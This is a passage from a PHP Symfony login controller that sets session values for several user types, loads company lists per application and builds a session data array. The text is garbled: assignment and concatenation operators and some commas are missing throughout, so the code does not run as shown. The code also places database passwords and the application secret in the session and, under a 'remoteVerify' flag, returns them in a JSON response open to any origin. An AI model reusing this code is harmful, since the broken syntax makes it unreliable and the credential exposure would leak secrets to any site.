  4940. //                                    $dataToConnect['dbName'],
  4941. //                                    $dataToConnect['dbUser'],
  4942. //                                    $dataToConnect['dbPass'],
  4943. //                                    $dataToConnect['dbHost'],
  4944. //                                    $reset = true
  4945. //                                );
  4946. //                                $em = $this->getDoctrine()->getManager();
  4947. //
  4948. //                                $companyList = Company::getCompanyListWithImage($em);
  4949. //                                foreach ($companyList as $c => $dta) {
  4950. //                                    //                                $company_id_list[]=$c;
  4951. //                                    //                                $company_name_list[$c] = $companyList[$c]['name'];
  4952. //                                    //                                $company_image_list[$c] = $companyList[$c]['image'];
  4953. //                                    $companyIdListByAppId[$currAppId][] = $currAppId . '_' . $c;
  4954. //                                    $app_company_index = $currAppId . '_' . $c;
  4955. //                                    $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  4956. //                                    $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  4957. //                                }
  4958. //                            }
  4959. //                        }
  4960. //                    }
  4961.                 } else if ($userType == UserConstants::USER_TYPE_MANAGEMENT_USER) {
  4962.                     // General User
  4963.                     $employeeId 0;
  4964.                     $currentMonthHolidayList = [];
  4965.                     $currentHolidayCalendarId 0;
  4966.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  4967.                         ->findOneBy(
  4968.                             array(
  4969.                                 'userId' => $user->getUserId()
  4970.                             )
  4971.                         );
  4972.                     if ($employeeObj) {
  4973.                         $employeeId $employeeObj->getEmployeeId();
  4974.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  4975.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  4976.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  4977.                     }
  4978.                     $session->set(UserConstants::USER_EMPLOYEE_IDstrval($employeeId));
  4979.                     $session->set(UserConstants::USER_HOLIDAY_LIST_CURRENT_MONTHjson_encode($currentMonthHolidayList));
  4980.                     $session->set(UserConstants::USER_HOLIDAY_CALENDAR_ID$currentHolidayCalendarId);
  4981.                     $session->set(UserConstants::USER_ID$user->getUserId());
  4982.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  4983.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_MANAGEMENT_USER);
  4984.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  4985.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  4986.                     $session->set(UserConstants::USER_NAME$user->getName());
  4987.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  4988.                     $session->set(UserConstants::USER_COMPANY_ID$user->getUserCompanyId());
  4989.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  4990.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  4991.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  4992.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  4993.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  4994.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  4995.                     $session->set(UserConstants::USER_APP_ID$user->getUserAppId());
  4996.                     $session->set(UserConstants::USER_POSITION_LIST$user->getPositionIds());
  4997.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG$user->getAllModuleAccessFlag());
  4998.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  4999.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  5000.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  5001.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  5002.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  5003.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  5004.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  5005.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  5006.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  5007.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  5008.                     if (count(json_decode($user->getPositionIds(), true)) > 1) {
  5009.                         return $this->redirectToRoute("user_login_position");
  5010.                     } else {
  5011.                         $PL json_decode($user->getPositionIds(), true);
  5012.                         $route_list_array Position::getUserRouteArray($this->getDoctrine()->getManager(), $PL[0], $user->getUserId());
  5013.                         $session->set(UserConstants::USER_CURRENT_POSITION$PL[0]);
  5014.                         $loginID $this->get('user_module')->addUserLoginLog(
  5015.                             $session->get(UserConstants::USER_ID),
  5016.                             $request->server->get("REMOTE_ADDR"),
  5017.                             $PL[0]
  5018.                         );
  5019.                         $session->set(UserConstants::USER_LOGIN_ID$loginID);
  5020.                         //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  5021.                         $session->set(UserConstants::USER_GOC_ID$gocId);
  5022.                         $session->set(UserConstants::USER_DB_NAME$gocDbName);
  5023.                         $session->set(UserConstants::USER_DB_USER$gocDbUser);
  5024.                         $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  5025.                         $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  5026.                         $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  5027.                         $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  5028.                         $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  5029.                         $appIdList json_decode($user->getUserAppIdList());
  5030.                         if ($appIdList == null$appIdList = [];
  5031.                         $companyIdListByAppId = [];
  5032.                         $companyNameListByAppId = [];
  5033.                         $companyImageListByAppId = [];
  5034.                         if (!in_array($user->getUserAppId(), $appIdList))
  5035.                             $appIdList[] = $user->getUserAppId();
  5036.                         foreach ($appIdList as $currAppId) {
  5037.                             if ($currAppId == $user->getUserAppId()) {
  5038.                                 foreach ($company_id_list as $index_company => $company_id) {
  5039.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  5040.                                     $app_company_index $currAppId '_' $company_id;
  5041.                                     $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  5042.                                     $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  5043.                                 }
  5044.                             } else {
  5045.                                 $dataToConnect System::changeDoctrineManagerByAppId(
  5046.                                     $this->getDoctrine()->getManager('company_group'),
  5047.                                     $gocEnabled,
  5048.                                     $currAppId
  5049.                                 );
  5050.                                 if (!empty($dataToConnect)) {
  5051.                                     $connector $this->container->get('application_connector');
  5052.                                     $connector->resetConnection(
  5053.                                         'default',
  5054.                                         $dataToConnect['dbName'],
  5055.                                         $dataToConnect['dbUser'],
  5056.                                         $dataToConnect['dbPass'],
  5057.                                         $dataToConnect['dbHost'],
  5058.                                         $reset true
  5059.                                     );
  5060.                                     $em $this->getDoctrine()->getManager();
  5061.                                     $companyList Company::getCompanyListWithImage($em);
  5062.                                     foreach ($companyList as $c => $dta) {
  5063.                                         //                                $company_id_list[]=$c;
  5064.                                         //                                $company_name_list[$c] = $companyList[$c]['name'];
  5065.                                         //                                $company_image_list[$c] = $companyList[$c]['image'];
  5066.                                         $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  5067.                                         $app_company_index $currAppId '_' $c;
  5068.                                         $company_locale $companyList[$c]['locale'];
  5069.                                         $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  5070.                                         $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  5071.                                     }
  5072.                                 }
  5073.                             }
  5074.                         }
  5075.                         $session->set('appIdList'$appIdList);
  5076.                         $session->set('companyIdListByAppId'$companyIdListByAppId);
  5077.                         $session->set('companyNameListByAppId'$companyNameListByAppId);
  5078.                         $session->set('companyImageListByAppId'$companyImageListByAppId);
  5079.                         $branchIdList json_decode($user->getUserBranchIdList());
  5080.                         $branchId $user->getUserBranchId();
  5081.                         $session->set('branchIdList'$branchIdList);
  5082.                         $session->set('branchId'$branchId);
  5083.                         if ($user->getAllModuleAccessFlag() == 1)
  5084.                             $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  5085.                         else
  5086.                             $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0], $user->getUserId())));
  5087.                         $session_data = array(
  5088.                             UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  5089.                             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  5090.                             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  5091.                             'oAuthToken' => $session->get('oAuthToken'),
  5092.                             'locale' => $session->get('locale'),
  5093.                             'firebaseToken' => $session->get('firebaseToken'),
  5094.                             'token' => $session->get('token'),
  5095.                             'firstLogin' => $firstLogin,
  5096.                             'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  5097.                             'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  5098.                             UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  5099.                             UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  5100.                             UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  5101.                             UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  5102.                             UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  5103.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  5104.                             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  5105.                             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  5106.                             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  5107.                             'oAuthImage' => $session->get('oAuthImage'),
  5108.                             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  5109.                             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  5110.                             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  5111.                             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  5112.                             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  5113.                             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  5114.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  5115.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  5116.                             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  5117.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  5118.                             UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  5119.                             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  5120.                             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  5121.                             'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  5122.                             'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  5123.                             'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  5124.                             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  5125.                             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  5126.                             UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  5127.                             UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  5128.                             UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  5129.                             UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  5130.                             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  5131.                             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  5132.                             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  5133.                             //new
  5134.                             'appIdList' => $session->get('appIdList'),
  5135.                             'branchIdList' => $session->get('branchIdList'null),
  5136.                             'branchId' => $session->get('branchId'null),
  5137.                             'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  5138.                             'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  5139.                             'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  5140.                         );
  5141.                         $session_data $this->filterClientSessionData($session_data);
  5142.                         $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  5143.                         $session_data $tokenData['sessionData'];
  5144.                         $token $tokenData['token'];
  5145.                         $session->set('token'$token);
  5146.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  5147.                             $session->set('remoteVerified'1);
  5148.                             $response = new JsonResponse(array(
  5149.                                 'uid' => $session->get(UserConstants::USER_ID),
  5150.                                 'session' => $session,
  5151.                                 'token' => $token,
  5152.                                 'success' => true,
  5153.                                 'session_data' => $session_data,
  5154.                             ));
  5155.                             $response->headers->set('Access-Control-Allow-Origin''*');
  5156.                             return $response;
  5157.                         }
  5158.                         if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  5159.                             if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  5160.                                 if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  5161.                                     $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  5162.                                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5163.                                     return $this->redirect($red);
  5164.                                 }
  5165.                             } else {
  5166.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5167.                             }
  5168.                         } else if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  5169.                             return $this->redirectToRoute("dashboard");
  5170.                         else
  5171.                             return $this->redirectToRoute($user->getDefaultRoute());
  5172. //                        if ($request->server->has("HTTP_REFERER")) {
  5173. //                            if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != ''  && $request->server->get('HTTP_REFERER') != null) {
  5174. //                                return $this->redirect($request->request->get('HTTP_REFERER'));
  5175. //                            }
  5176. //                        }
  5177. //
  5178. //                        //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  5179. //                        if ($request->request->has('referer_path')) {
  5180. //                            if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '' && $request->request->get('referer_path') != null) {
  5181. //                                return $this->redirect($request->request->get('referer_path'));
  5182. //                            }
  5183. //                        }
  5184. //                        //                    if($request->request->has('gocId')
  5185. //
  5186. //                        if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  5187. //                            return $this->redirectToRoute("dashboard");
  5188. //                        else
  5189. //                            return $this->redirectToRoute($user->getDefaultRoute());
  5190.                     }
  5191.                 } else if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  5192.                     $applicantId $user->getApplicantId();
  5193.                     $userId $user->getApplicantId();
  5194.                     $globalId $user->getApplicantId();
  5195.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  5196.                     $isConsultant $user->getIsConsultant() == 0;
  5197.                     $isRetailer $user->getIsRetailer() == 0;
  5198.                     $retailerLevel $user->getRetailerLevel() == 0;
  5199.                     $adminLevel $user->getIsAdmin() == ? (($user->getAdminLevel() != null && $user->getAdminLevel() != 0) ? $user->getAdminLevel() : 1) : ($user->getIsModerator() == 0);
  5200.                     $isModerator $user->getIsModerator() == 0;
  5201.                     $isAdmin $user->getIsAdmin() == 0;
  5202.                     $userEmail $user->getOauthEmail();
  5203.                     $userImage $user->getImage();
  5204.                     $userFullName $user->getFirstName() . ' ' $user->getLastName();
  5205.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  5206.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  5207.                     $buddybeeBalance $user->getAccountBalance();
  5208.                     $buddybeeCoinBalance $user->getSessionCountBalance();
  5209.                     $userDefaultRoute 'applicant_dashboard';
  5210. //            $userAppIds = json_decode($user->getUserAppIds(), true);
  5211.                     $userAppIds = [];
  5212.                     $userSuspendedAppIds json_decode($user->getUserSuspendedAppIds(), true);
  5213.                     $userTypesByAppIds json_decode($user->getUserTypesByAppIds(), true);
  5214.                     if ($userAppIds == null$userAppIds = [];
  5215.                     if ($userSuspendedAppIds == null$userSuspendedAppIds = [];
  5216.                     if ($userTypesByAppIds == null$userTypesByAppIds = [];
  5217.                     foreach ($userTypesByAppIds as $aid => $accData)
  5218.                         if (in_array($aid$userSuspendedAppIds))
  5219.                             unset($userTypesByAppIds[$aid]);
  5220.                         else
  5221.                             $userAppIds[]=$aid;
  5222. //                    $userAppIds=array_diff($userAppIds,$userSuspendedAppIds);
  5223.                     if ($user->getOAuthEmail() == '' || $user->getOAuthEmail() == null$currRequiredPromptFields[] = 'email';
  5224.                     if ($user->getPhone() == '' || $user->getPhone() == null$currRequiredPromptFields[] = 'phone';
  5225.                     if ($user->getCurrentCountryId() == '' || $user->getCurrentCountryId() == null || $user->getCurrentCountryId() == 0$currRequiredPromptFields[] = 'currentCountryId';
  5226.                     if ($user->getPreferredConsultancyTopicCountryIds() == '' || $user->getPreferredConsultancyTopicCountryIds() == null || $user->getPreferredConsultancyTopicCountryIds() == '[]'$currRequiredPromptFields[] = 'preferredConsultancyTopicCountryIds';
  5227.                     if ($user->getIsConsultant() == && ($user->getPreferredTopicIdsAsConsultant() == '' || $user->getPreferredTopicIdsAsConsultant() == null || $user->getPreferredTopicIdsAsConsultant() == '[]')) $currRequiredPromptFields[] = 'preferredTopicIdsAsConsultant';
  5228.                     $loginID MiscActions::addEntityUserLoginLog(
  5229.                         $em_goc,
  5230.                         $userId,
  5231.                         $applicantId,
  5232.                         1,
  5233.                         $request->server->get("REMOTE_ADDR"),
  5234.                         0,
  5235.                         $request->request->get('deviceId'''),
  5236.                         $request->request->get('oAuthToken'''),
  5237.                         $request->request->get('oAuthType'''),
  5238.                         $request->request->get('locale'''),
  5239.                         $request->request->get('firebaseToken''')
  5240.                     );
  5241.                 } else if ($userType == UserConstants::USER_TYPE_GENERAL) {
  5242.                     // General User
  5243.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  5244.                         ->findOneBy(
  5245.                             array(
  5246.                                 'userId' => $user->getUserId()
  5247.                             )
  5248.                         );
  5249.                     if ($employeeObj) {
  5250.                         $employeeId $employeeObj->getEmployeeId();
  5251.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  5252.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  5253.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  5254.                     }
  5255.                     $currentTask $em->getRepository('ApplicationBundle\\Entity\\TaskLog')
  5256.                         ->findOneBy(
  5257.                             array(
  5258.                                 'userId' => $user->getUserId(),
  5259.                                 'workingStatus' => 1
  5260.                             )
  5261.                         );
  5262.                     if ($currentTask) {
  5263.                         $currentTaskId $currentTask->getId();
  5264.                         $currentPlanningItemId $currentTask->getPlanningItemId();
  5265.                     }
  5266.                     $userId $user->getUserId();
  5267.                     $userCompanyId 1;
  5268.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  5269.                     $userEmail $user->getEmail();
  5270.                     $userImage $user->getImage();
  5271.                     $userFullName $user->getName();
  5272.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  5273.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  5274.                     $position_list_array json_decode($user->getPositionIds(), true);
  5275.                     if ($position_list_array == null$position_list_array = [];
  5276.                     $filtered_pos_array = [];
  5277.                     foreach ($position_list_array as $defPos)
  5278.                         if ($defPos != '' && $defPos != 0)
  5279.                             $filtered_pos_array[] = $defPos;
  5280.                     $position_list_array $filtered_pos_array;
  5281.                     if (!empty($position_list_array))
  5282.                         foreach ($position_list_array as $defPos)
  5283.                             if ($defPos != '' && $defPos != && $curr_position_id == 0) {
  5284.                                 $curr_position_id $defPos;
  5285.                             }
  5286.                     $userDefaultRoute $user->getDefaultRoute();
  5287.                     $allModuleAccessFlag $user->getAllModuleAccessFlag() == 0;
  5288.                     if ($userDefaultRoute == "" || $userDefaultRoute == null)
  5289.                         $userDefaultRoute 'dashboard';
  5290.                     $route_list_array Position::getUserRouteArray($this->getDoctrine()->getManager(), $curr_position_id$userId);
  5291.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  5292.                     if (isset($companyList[$userCompanyId])) {
  5293.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  5294.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  5295.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  5296.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  5297.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  5298.                     }
  5299.                     if ($allModuleAccessFlag == 1)
  5300.                         $prohibit_list_array = [];
  5301.                     else if ($curr_position_id != 0)
  5302.                         $prohibit_list_array Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $curr_position_id$user->getUserId());
  5303.                     $loginID $this->get('user_module')->addUserLoginLog(
  5304.                         $userId,
  5305.                         $request->server->get("REMOTE_ADDR"),
  5306.                         $curr_position_id
  5307.                     );
  5308.                     $appIdList json_decode($user->getUserAppIdList());
  5309.                     $branchIdList json_decode($user->getUserBranchIdList());
  5310.                     if ($branchIdList == null$branchIdList = [];
  5311.                     $branchId $user->getUserBranchId();
  5312.                     if ($appIdList == null$appIdList = [];
  5313.                     if (!in_array($user->getUserAppId(), $appIdList))
  5314.                         $appIdList[] = $user->getUserAppId();
  5315.                     foreach ($appIdList as $currAppId) {
  5316.                         if ($currAppId == $user->getUserAppId()) {
  5317.                             foreach ($company_id_list as $index_company => $company_id) {
  5318.                                 $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  5319.                                 $app_company_index $currAppId '_' $company_id;
  5320.                                 $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  5321.                                 $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  5322.                             }
  5323.                         } else {
  5324.                             $dataToConnect System::changeDoctrineManagerByAppId(
  5325.                                 $this->getDoctrine()->getManager('company_group'),
  5326.                                 $gocEnabled,
  5327.                                 $currAppId
  5328.                             );
  5329.                             if (!empty($dataToConnect)) {
  5330.                                 $connector $this->container->get('application_connector');
  5331.                                 $connector->resetConnection(
  5332.                                     'default',
  5333.                                     $dataToConnect['dbName'],
  5334.                                     $dataToConnect['dbUser'],
  5335.                                     $dataToConnect['dbPass'],
  5336.                                     $dataToConnect['dbHost'],
  5337.                                     $reset true
  5338.                                 );
  5339.                                 $em $this->getDoctrine()->getManager();
  5340.                                 $companyList Company::getCompanyListWithImage($em);
  5341.                                 foreach ($companyList as $c => $dta) {
  5342.                                     //                                $company_id_list[]=$c;
  5343.                                     //                                $company_name_list[$c] = $companyList[$c]['name'];
  5344.                                     //                                $company_image_list[$c] = $companyList[$c]['image'];
  5345.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  5346.                                     $app_company_index $currAppId '_' $c;
  5347.                                     $company_locale $companyList[$c]['locale'];
  5348.                                     $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  5349.                                     $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  5350.                                 }
  5351.                             }
  5352.                         }
  5353.                     }
  5354.                     if (count($position_list_array) > 1) {
  5355.                         $userForcedRoute 'user_login_position';
  5356. //                        return $this->redirectToRoute("user_login_position");
  5357.                     } else {
  5358.                     }
  5359.                 }
  5360.                 if ($userType == UserConstants::USER_TYPE_APPLICANT ||
  5361.                     $userType == UserConstants::USER_TYPE_GENERAL ||
  5362.                     $userType == UserConstants::USER_TYPE_SYSTEM
  5363.                 ) {
  5364.                     $session_data = array(
  5365.                         UserConstants::USER_ID => $userId,
  5366.                         UserConstants::USER_EMPLOYEE_ID => $employeeId,
  5367.                         UserConstants::APPLICANT_ID => $applicantId,
  5368.                         UserConstants::USER_CURRENT_TASK_ID => $currentTaskId,
  5369.                         UserConstants::USER_CURRENT_PLANNING_ITEM_ID => $currentPlanningItemId,
  5370.                         UserConstants::USER_HOLIDAY_LIST_CURRENT_MONTH => json_encode($currentMonthHolidayList),
  5371.                         UserConstants::USER_HOLIDAY_CALENDAR_ID => $currentHolidayCalendarId,
  5372.                         UserConstants::SUPPLIER_ID => $supplierId,
  5373.                         UserConstants::CLIENT_ID => $clientId,
  5374.                         UserConstants::USER_TYPE => $userType,
  5375.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $lastSettingsUpdatedTs == null $lastSettingsUpdatedTs,
  5376.                         UserConstants::IS_CONSULTANT => $isConsultant,
  5377.                         UserConstants::IS_BUDDYBEE_RETAILER => $isRetailer,
  5378.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $retailerLevel,
  5379.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $adminLevel,
  5380.                         UserConstants::IS_BUDDYBEE_MODERATOR => $isModerator,
  5381.                         UserConstants::IS_BUDDYBEE_ADMIN => $isAdmin,
  5382.                         UserConstants::USER_EMAIL => $userEmail == null "" $userEmail,
  5383.                         UserConstants::USER_IMAGE => $userImage == null "" $userImage,
  5384.                         UserConstants::USER_NAME => $userFullName,
  5385.                         UserConstants::USER_DEFAULT_ROUTE => $userDefaultRoute,
  5386.                         UserConstants::USER_COMPANY_ID => $userCompanyId,
  5387.                         UserConstants::USER_COMPANY_ID_LIST => json_encode($company_id_list),
  5388.                         UserConstants::USER_COMPANY_NAME_LIST => json_encode($company_name_list),
  5389.                         UserConstants::USER_COMPANY_IMAGE_LIST => json_encode($company_image_list),
  5390.                         UserConstants::USER_APP_ID => $appIdFromUserName,
  5391.                         UserConstants::USER_POSITION_LIST => json_encode($position_list_array),
  5392.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $allModuleAccessFlag,
  5393.                         UserConstants::SESSION_SALT => uniqid(mt_rand()),
  5394.                         UserConstants::APPLICATION_SECRET => $this->container->getParameter('secret'),
  5395.                         UserConstants::USER_GOC_ID => $gocId,
  5396.                         UserConstants::USER_DB_NAME => $gocDbName,
  5397.                         UserConstants::USER_DB_USER => $gocDbUser,
  5398.                         UserConstants::USER_DB_PASS => $gocDbPass,
  5399.                         UserConstants::USER_DB_HOST => $gocDbHost,
  5400.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $product_name_display_type,
  5401.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  5402.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  5403.                         UserConstants::USER_LOGIN_ID => $loginID,
  5404.                         UserConstants::USER_CURRENT_POSITION => $curr_position_id,
  5405.                         UserConstants::USER_ROUTE_LIST => json_encode($route_list_array),
  5406.                         UserConstants::USER_PROHIBIT_LIST => json_encode($prohibit_list_array),
  5407.                         'relevantRequiredPromptFields' => json_encode($currRequiredPromptFields),
  5408.                         'triggerPromptInfoModalFlag' => empty($currRequiredPromptFields) ? 1,
  5409.                         'TRIGGER_RESET_PASSWORD' => $triggerResetPassword,
  5410.                         'IS_EMAIL_VERIFIED' => $isEmailVerified,
  5411.                         'REMEMBERME' => $remember_me,
  5412.                         'BUDDYBEE_BALANCE' => $buddybeeBalance,
  5413.                         'BUDDYBEE_COIN_BALANCE' => $buddybeeCoinBalance,
  5414.                         'oAuthToken' => $oAuthToken,
  5415.                         'locale' => $locale,
  5416.                         'firebaseToken' => $firebaseToken,
  5417.                         'token' => $session->get('token'),
  5418.                         'firstLogin' => $firstLogin,
  5419.                         'oAuthImage' => $oAuthImage,
  5420.                         'appIdList' => json_encode($appIdList),
  5421.                         'branchIdList' => json_encode($branchIdList),
  5422.                         'branchId' => $branchId,
  5423.                         'companyIdListByAppId' => json_encode($companyIdListByAppId),
  5424.                         'companyNameListByAppId' => json_encode($companyNameListByAppId),
  5425.                         'companyImageListByAppId' => json_encode($companyImageListByAppId),
  5426.                         'userCompanyDarkVibrantList' => json_encode($company_dark_vibrant_list),
  5427.                         'userCompanyVibrantList' => json_encode($company_vibrant_list),
  5428.                         'userCompanyLightVibrantList' => json_encode($company_light_vibrant_list),
  5429.                     );
  5430.                     if ($systemType == '_CENTRAL_') {
  5431.                         $accessList = [];
  5432. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  5433.                         foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  5434.                             foreach ($thisUserUserTypes as $thisUserUserType) {
  5435.                                 if (isset($gocDataListByAppId[$thisUserAppId])) {
  5436.                                     $d = array(
